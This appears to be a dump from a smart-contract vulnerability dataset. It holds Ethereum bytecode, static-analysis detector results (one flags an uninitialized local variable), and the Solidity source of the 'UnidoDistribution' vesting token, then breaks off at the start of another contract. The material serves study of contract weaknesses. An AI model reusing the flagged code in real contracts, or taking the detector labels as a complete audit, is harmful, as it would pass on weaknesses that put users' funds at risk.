2602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cc76112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ee05780601f10610eb557610100808354040283529160200191610ee0565b820191906000526020600020905b815481529060010190602001808311610ec357829003601f168201915b5050505050905090565b610ef26112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061100b6110046112cf565b84846114be565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110ca6112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611211576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806118906026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156114b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153257600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115dd5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156115f15760075481106115f057600080fd5b5b61164381600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143690919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006117c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117cf565b905092915050565b600083831115829061187c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611841578082015181840152602081019050611826565b50505050905090810190601f16801561186e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212204ad62e8bcc1ea8fbd04a1410f524e10bc58b8ff93ce54d772d3764e648bc48e164736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 6,145 |
0xea3983Fc6D0fbbC41fb6F6091f68F3e08894dC06
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
contract Ownable {
address public owner;
address private _nextOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, 'Only the owner of the contract can do that');
_;
}
function transferOwnership(address nextOwner) public onlyOwner {
_nextOwner = nextOwner;
}
function takeOwnership() public {
require(msg.sender == _nextOwner, 'Must be given ownership to do that');
emit OwnershipTransferred(owner, _nextOwner);
owner = _nextOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b != 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract UnidoDistribution is Ownable {
using SafeMath for uint256;
// 0 - SEED
// 1 - PRIVATE
// 2 - TEAM
// 3 - ADVISOR
// 4 - ECOSYSTEM
// 5 - LIQUIDITY
// 6 - RESERVE
enum POOL{SEED, PRIVATE, TEAM, ADVISOR, ECOSYSTEM, LIQUIDITY, RESERVE}
mapping (POOL => uint) public pools;
uint256 public totalSupply;
string public constant name = "Unido";
uint256 public constant decimals = 18;
string public constant symbol = "UDO";
address[] public participants;
bool private isActive;
uint256 private scanLength = 150;
uint256 private continuePoint;
uint256[] private deletions;
mapping (address => uint256) private balances;
mapping (address => mapping(address => uint256)) private allowances;
mapping (address => uint256) public lockoutPeriods;
mapping (address => uint256) public lockoutBalances;
mapping (address => uint256) public lockoutReleaseRates;
event Active(bool isActive);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
event Burn(address indexed tokenOwner, uint tokens);
constructor () {
pools[POOL.SEED] = 15000000 * 10**decimals;
pools[POOL.PRIVATE] = 16000000 * 10**decimals;
pools[POOL.TEAM] = 18400000 * 10**decimals;
pools[POOL.ADVISOR] = 10350000 * 10**decimals;
pools[POOL.ECOSYSTEM] = 14375000 * 10**decimals;
pools[POOL.LIQUIDITY] = 8625000 * 10**decimals;
pools[POOL.RESERVE] = 32250000 * 10**decimals;
totalSupply = pools[POOL.SEED] + pools[POOL.PRIVATE] + pools[POOL.TEAM] + pools[POOL.ADVISOR] + pools[POOL.ECOSYSTEM] + pools[POOL.LIQUIDITY] + pools[POOL.RESERVE];
// Give POLS private sale directly
uint pols = 2000000 * 10**decimals;
pools[POOL.PRIVATE] = pools[POOL.PRIVATE].sub(pols);
balances[address(0xeFF02cB28A05EebF76cB6aF993984731df8479b1)] = pols;
// Give LIQUIDITY pool their half directly
uint liquid = pools[POOL.LIQUIDITY].div(2);
pools[POOL.LIQUIDITY] = pools[POOL.LIQUIDITY].sub(liquid);
balances[address(0xd6221a4f8880e9Aa355079F039a6012555556974)] = liquid;
}
function _isTradeable() internal view returns (bool) {
return isActive;
}
function isTradeable() public view returns (bool) {
return _isTradeable();
}
function setTradeable() external onlyOwner {
require (!isActive, "Can only set tradeable when its not already tradeable");
isActive = true;
Active(true);
}
function setScanLength(uint256 len) external onlyOwner {
require (len > 20, "Values 20 or less are impractical");
require (len <= 200, "Values greater than 200 may cause the updateRelease function to fail");
scanLength = len;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint) {
return allowances[tokenOwner][spender];
}
function spendable(address tokenOwner) public view returns (uint) {
return balances[tokenOwner].sub(lockoutBalances[tokenOwner]);
}
function transfer(address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not tradeable yet");
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must transfer non-zero amount");
require (to != address(0), "Cannot send to the 0 address");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function approve(address spender, uint tokens) public returns (bool) {
_approve(msg.sender, spender, tokens);
return true;
}
function _approve(address owner, address spender, uint tokens) internal {
require (owner != address(0), "Cannot approve from the 0 address");
require (spender != address(0), "Cannot approve the 0 address");
allowances[owner][spender] = tokens;
Approval(owner, spender, tokens);
}
function burn(uint tokens) public {
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must burn non-zero amount");
balances[msg.sender] = balances[msg.sender].sub(tokens);
totalSupply = totalSupply.sub(tokens);
Burn(msg.sender, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not trading yet");
require (balances[from].sub(lockoutBalances[from]) >= tokens, "Must have enough spendable tokens");
require (allowances[from][msg.sender] >= tokens, "Must be approved to spend that much");
require (tokens > 0, "Must transfer non-zero amount");
require (from != address(0), "Cannot send from the 0 address");
require (to != address(0), "Cannot send to the 0 address");
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(tokens);
Transfer(from, to, tokens);
return true;
}
function addParticipants(POOL pool, address[] calldata _participants, uint256[] calldata _stakes) external onlyOwner {
require (pool >= POOL.SEED && pool <= POOL.RESERVE, "Must select a valid pool");
require (_participants.length == _stakes.length, "Must have equal array sizes");
uint lockoutPeriod;
uint lockoutReleaseRate;
if (pool == POOL.SEED) {
lockoutPeriod = 1;
lockoutReleaseRate = 5;
} else if (pool == POOL.PRIVATE) {
lockoutReleaseRate = 4;
} else if (pool == POOL.TEAM) {
lockoutPeriod = 12;
lockoutReleaseRate = 12;
} else if (pool == POOL.ADVISOR) {
lockoutPeriod = 6;
lockoutReleaseRate = 6;
} else if (pool == POOL.ECOSYSTEM) {
lockoutPeriod = 3;
lockoutReleaseRate = 9;
} else if (pool == POOL.LIQUIDITY) {
lockoutReleaseRate = 1;
lockoutPeriod = 1;
} else if (pool == POOL.RESERVE) {
lockoutReleaseRate = 18;
}
uint256 sum;
uint256 len = _participants.length;
for (uint256 i = 0; i < len; i++) {
address p = _participants[i];
require(lockoutBalances[p] == 0, "Participants can't be involved in multiple lock ups simultaneously");
participants.push(p);
lockoutBalances[p] = _stakes[i];
balances[p] = balances[p].add(_stakes[i]);
lockoutPeriods[p] = lockoutPeriod;
lockoutReleaseRates[p] = lockoutReleaseRate;
sum = sum.add(_stakes[i]);
}
require(sum <= pools[pool], "Insufficient amount left in pool for this");
pools[pool] = pools[pool].sub(sum);
}
function finalizeParticipants(POOL pool) external onlyOwner {
uint leftover = pools[pool];
pools[pool] = 0;
totalSupply = totalSupply.sub(leftover);
}
/**
* For each account with an active lockout, if their lockout has expired
* then release their lockout at the lockout release rate
* If the lockout release rate is 0, assume its all released at the date
* Only do max 100 at a time, call repeatedly which it returns true
*/
function updateRelease() external onlyOwner returns (bool) {
uint scan = scanLength;
uint len = participants.length;
uint continueAddScan = continuePoint.add(scan);
for (uint i = continuePoint; i < len && i < continueAddScan; i++) {
address p = participants[i];
if (lockoutPeriods[p] > 0) {
lockoutPeriods[p]--;
} else if (lockoutReleaseRates[p] > 0) {
uint rate = lockoutReleaseRates[p];
uint release;
if (rate == 18) {
// First release of reserve is 12.5%
release = lockoutBalances[p].div(8);
} else {
release = lockoutBalances[p].div(lockoutReleaseRates[p]);
}
lockoutBalances[p] = lockoutBalances[p].sub(release);
lockoutReleaseRates[p]--;
} else {
deletions.push(i);
}
}
continuePoint = continuePoint.add(scan);
if (continuePoint >= len) {
continuePoint = 0;
while (deletions.length > 0) {
uint index = deletions[deletions.length-1];
deletions.pop();
participants[index] = participants[participants.length - 1];
participants.pop();
}
return false;
}
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a85760003560e01c806360536172116100f9578063a457c2d711610097578063c36d16a911610071578063c36d16a914610578578063dd62ed3e14610595578063f2fde38b146105c3578063fb87a635146105e9576101a8565b8063a457c2d714610518578063a9059cbb14610544578063c1cda90214610570576101a8565b80638da5cb5b116100d35780638da5cb5b146104bc57806395d89b41146104c457806398fd6108146104cc578063a219fdd6146104f2576101a8565b8063605361721461046857806363ae9f6e1461047057806370a0823114610496576101a8565b806323b872dd11610166578063395093511161014057806339509351146103f157806342966c681461041d57806344fa7b241461043a5780635db5f57b14610442576101a8565b806323b872dd1461037a578063313ce567146103b057806335c1d349146103b8576101a8565b8062ab73e2146101ad57806306fdde03146101cf578063095ea7b31461024c57806318160ddd1461028c5780631b4c84d2146102a657806321563ebd146102ae575b600080fd5b6101cd600480360360208110156101c357600080fd5b503560ff16610609565b005b6101d76106c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102115781810151838201526020016101f9565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102786004803603604081101561026257600080fd5b506001600160a01b0381351690602001356106e3565b604080519115158252519081900360200190f35b6102946106f9565b60408051918252519081900360200190f35b6102786106ff565b6101cd600480360360608110156102c457600080fd5b60ff82351691908101906040810160208201356401000000008111156102e957600080fd5b8201836020820111156102fb57600080fd5b8035906020019184602083028401116401000000008311171561031d57600080fd5b91939092909160208101903564010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b50909250905061070f565b6102786004803603606081101561039057600080fd5b506001600160a01b03813581169160208101359091169060400135610b7a565b610294610eab565b6103d5600480360360208110156103ce57600080fd5b5035610eb0565b604080516001600160a01b039092168252519081900360200190f35b6102786004803603604081101561040757600080fd5b506001600160a01b038135169060200135610ed7565b6101cd6004803603602081101561043357600080fd5b5035610f12565b61027861103f565b6102946004803603602081101561045857600080fd5b50356001600160a01b031661136a565b6101cd61137c565b6102946004803603602081101561048657600080fd5b50356001600160a01b0316611426565b610294600480360360208110156104ac57600080fd5b50356001600160a01b0316611438565b6103d5611453565b6101d7611462565b610294600480360360208110156104e257600080fd5b50356001600160a01b0316611481565b6102946004803603602081101561050857600080fd5b50356001600160a01b0316611493565b6102786004803603604081101561052e57600080fd5b506001600160a01b0381351690602001356114c6565b6102786004803603604081101561055a57600080fd5b506001600160a01b0381351690602001356114fc565b6101cd611710565b6101cd6004803603602081101561058e57600080fd5b50356117df565b610294600480360360408110156105ab57600080fd5b506001600160a01b03813581169160200135166118ac565b6101cd600480360360208110156105d957600080fd5b50356001600160a01b03166118d7565b610294600480360360208110156105ff57600080fd5b503560ff16611942565b6000546001600160a01b031633146106525760405162461bcd60e51b815260040180806020018281038252602a815260200180611cc7602a913960400191505060405180910390fd5b60006002600083600681111561066457fe5b600681111561066f57fe5b815260200190815260200160002054905060006002600084600681111561069257fe5b600681111561069d57fe5b81526020810191909152604001600020556003546106bb9082611954565b6003555050565b60405180604001604052806005815260200164556e69646f60d81b81525081565b60006106f0338484611a19565b50600192915050565b60035481565b6000610709611b1b565b90505b90565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040180806020018281038252602a815260200180611cc7602a913960400191505060405180910390fd5b600085600681111561076657fe5b101580156107805750600685600681111561077d57fe5b11155b6107d1576040805162461bcd60e51b815260206004820152601860248201527f4d7573742073656c65637420612076616c696420706f6f6c0000000000000000604482015290519081900360640190fd5b828114610825576040805162461bcd60e51b815260206004820152601b60248201527f4d757374206861766520657175616c2061727261792073697a65730000000000604482015290519081900360640190fd5b6000808087600681111561083557fe5b141561084757506001905060056108f8565b600187600681111561085557fe5b1415610863575060046108f8565b600287600681111561087157fe5b14156108825750600c9050806108f8565b600387600681111561089057fe5b14156108a1575060069050806108f8565b60048760068111156108af57fe5b14156108c157506003905060096108f8565b60058760068111156108cf57fe5b14156108e0575060019050806108f8565b60068760068111156108ee57fe5b14156108f8575060125b600085815b81811015610a9e57600089898381811061091357fe5b905060200201356001600160a01b03169050600c6000826001600160a01b03166001600160a01b03168152602001908152602001600020546000146109895760405162461bcd60e51b8152600401808060200182810382526042815260200180611bff6042913960600191505060405180910390fd5b600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319166001600160a01b0383161790558787838181106109e057fe5b6001600160a01b0384166000908152600c602090815260409091209102929092013590915550610a3d888884818110610a1557fe5b6001600160a01b03851660009081526009602090815260409091205493910201359050611b24565b6001600160a01b038216600090815260096020908152604080832093909355600b8152828220899055600d905220859055610a93888884818110610a7d57fe5b9050602002013585611b2490919063ffffffff16565b9350506001016108fd565b50600260008a6006811115610aaf57fe5b6006811115610aba57fe5b815260200190815260200160002054821115610b075760405162461bcd60e51b8152600401808060200182810382526029815260200180611d136029913960400191505060405180910390fd5b610b4382600260008c6006811115610b1b57fe5b6006811115610b2657fe5b81526020019081526020016000205461195490919063ffffffff16565b600260008b6006811115610b5357fe5b6006811115610b5e57fe5b8152602081019190915260400160002055505050505050505050565b6000610b84611b1b565b610bd5576040805162461bcd60e51b815260206004820152601b60248201527f436f6e7472616374206973206e6f742074726164696e67207965740000000000604482015290519081900360640190fd5b6001600160a01b0384166000908152600c60209081526040808320546009909252909120548391610c069190611954565b1015610c435760405162461bcd60e51b8152600401808060200182810382526021815260200180611ca66021913960400191505060405180910390fd5b6001600160a01b0384166000908152600a60209081526040808320338452909152902054821115610ca55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c626023913960400191505060405180910390fd5b60008211610cfa576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b038416610d55576040805162461bcd60e51b815260206004820152601e60248201527f43616e6e6f742073656e642066726f6d20746865203020616464726573730000604482015290519081900360640190fd5b6001600160a01b038316610db0576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038416600090815260096020526040902054610dd39083611954565b6001600160a01b038086166000908152600960205260408082209390935590851681522054610e029083611b24565b6001600160a01b038085166000908152600960209081526040808320949094559187168152600a82528281203382529091522054610e409083611954565b6001600160a01b038086166000818152600a6020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b60048181548110610ebd57fe5b6000918252602090912001546001600160a01b0316905081565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f0d9086611b24565b611a19565b336000908152600c60209081526040808320546009909252909120548291610f3a9190611954565b1015610f775760405162461bcd60e51b8152600401808060200182810382526021815260200180611ca66021913960400191505060405180910390fd5b60008111610fcc576040805162461bcd60e51b815260206004820152601960248201527f4d757374206275726e206e6f6e2d7a65726f20616d6f756e7400000000000000604482015290519081900360640190fd5b33600090815260096020526040902054610fe69082611954565b336000908152600960205260409020556003546110039082611954565b60035560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b600080546001600160a01b031633146110895760405162461bcd60e51b815260040180806020018281038252602a815260200180611cc7602a913960400191505060405180910390fd5b60065460045460075460009061109f9084611b24565b6007549091505b82811080156110b457508181105b1561124d576000600482815481106110c857fe5b60009182526020808320909101546001600160a01b0316808352600b9091526040909120549091501561111a576001600160a01b0381166000908152600b602052604090208054600019019055611244565b6001600160a01b0381166000908152600d60205260409020541561120e576001600160a01b0381166000908152600d6020526040812054906012821415611186576001600160a01b0383166000908152600c602052604090205461117f9060086119b1565b90506111b7565b6001600160a01b0383166000908152600d6020908152604080832054600c909252909120546111b4916119b1565b90505b6001600160a01b0383166000908152600c60205260409020546111da9082611954565b6001600160a01b0384166000908152600c6020908152604080832093909355600d9052208054600019019055506112449050565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3018290555b506001016110a6565b5060075461125b9084611b24565b600781905582116113605760006007555b60085415611354576008805460009190600019810190811061128a57fe5b9060005260206000200154905060088054806112a257fe5b600190038181906000526020600020016000905590556004600160048054905003815481106112cd57fe5b600091825260209091200154600480546001600160a01b0390921691839081106112f357fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600480548061132c57fe5b600082815260209020810160001990810180546001600160a01b03191690550190555061126c565b6000935050505061070c565b6001935050505090565b600d6020526000908152604090205481565b6001546001600160a01b031633146113c55760405162461bcd60e51b8152600401808060200182810382526022815260200180611cf16022913960400191505060405180910390fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600b6020526000908152604090205481565b6001600160a01b031660009081526009602052604090205490565b6000546001600160a01b031681565b6040518060400160405280600381526020016255444f60e81b81525081565b600c6020526000908152604090205481565b6001600160a01b0381166000908152600c602090815260408083205460099092528220546114c091611954565b92915050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f0d9086611954565b6000611506611b1b565b611557576040805162461bcd60e51b815260206004820152601d60248201527f436f6e7472616374206973206e6f7420747261646561626c6520796574000000604482015290519081900360640190fd5b336000908152600c6020908152604080832054600990925290912054839161157f9190611954565b10156115bc5760405162461bcd60e51b8152600401808060200182810382526021815260200180611ca66021913960400191505060405180910390fd5b60008211611611576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b03831661166c576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f207468652030206164647265737300000000604482015290519081900360640190fd5b336000908152600960205260409020546116869083611954565b33600090815260096020526040808220929092556001600160a01b038516815220546116b29083611b24565b6001600160a01b0384166000818152600960209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b031633146117595760405162461bcd60e51b815260040180806020018281038252602a815260200180611cc7602a913960400191505060405180910390fd5b60055460ff161561179b5760405162461bcd60e51b8152600401808060200182810382526035815260200180611bca6035913960400191505060405180910390fd5b6005805460ff1916600190811790915560408051918252517fe4c97c0b674016b317b52dd3fbb57699889c86e187b096bc5a7f6dc3fcb12c209181900360200190a1565b6000546001600160a01b031633146118285760405162461bcd60e51b815260040180806020018281038252602a815260200180611cc7602a913960400191505060405180910390fd5b601481116118675760405162461bcd60e51b8152600401808060200182810382526021815260200180611c416021913960400191505060405180910390fd5b60c88111156118a75760405162461bcd60e51b8152600401808060200182810382526044815260200180611b866044913960600191505060405180910390fd5b600655565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6000546001600160a01b031633146119205760405162461bcd60e51b815260040180806020018281038252602a815260200180611cc7602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60026020526000908152604090205481565b6000828211156119ab576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081611a05576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b6000828481611a1057fe5b04949350505050565b6001600160a01b038316611a5e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c856021913960400191505060405180910390fd5b6001600160a01b038216611ab9576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f7420617070726f7665207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60055460ff1690565b600082820183811015611b7e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe56616c7565732067726561746572207468616e20323030206d6179206361757365207468652075706461746552656c656173652066756e6374696f6e20746f206661696c43616e206f6e6c792073657420747261646561626c65207768656e20697473206e6f7420616c726561647920747261646561626c655061727469636970616e74732063616e277420626520696e766f6c76656420696e206d756c7469706c65206c6f636b207570732073696d756c74616e656f75736c7956616c756573203230206f72206c6573732061726520696d70726163746963616c4d75737420626520617070726f76656420746f207370656e642074686174206d75636843616e6e6f7420617070726f76652066726f6d20746865203020616464726573734d757374206861766520656e6f756768207370656e6461626c6520746f6b656e734f6e6c7920746865206f776e6572206f662074686520636f6e74726163742063616e20646f20746861744d75737420626520676976656e206f776e65727368697020746f20646f2074686174496e73756666696369656e7420616d6f756e74206c65667420696e20706f6f6c20666f722074686973a2646970667358221220163dd399dbcb9d96b3d2fc7e9c9fbacac075e65014922566bd96aed78dbc213464736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,146 |
0xd7aa007c3e7ab454ffe3e20f0b28f926db295477
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
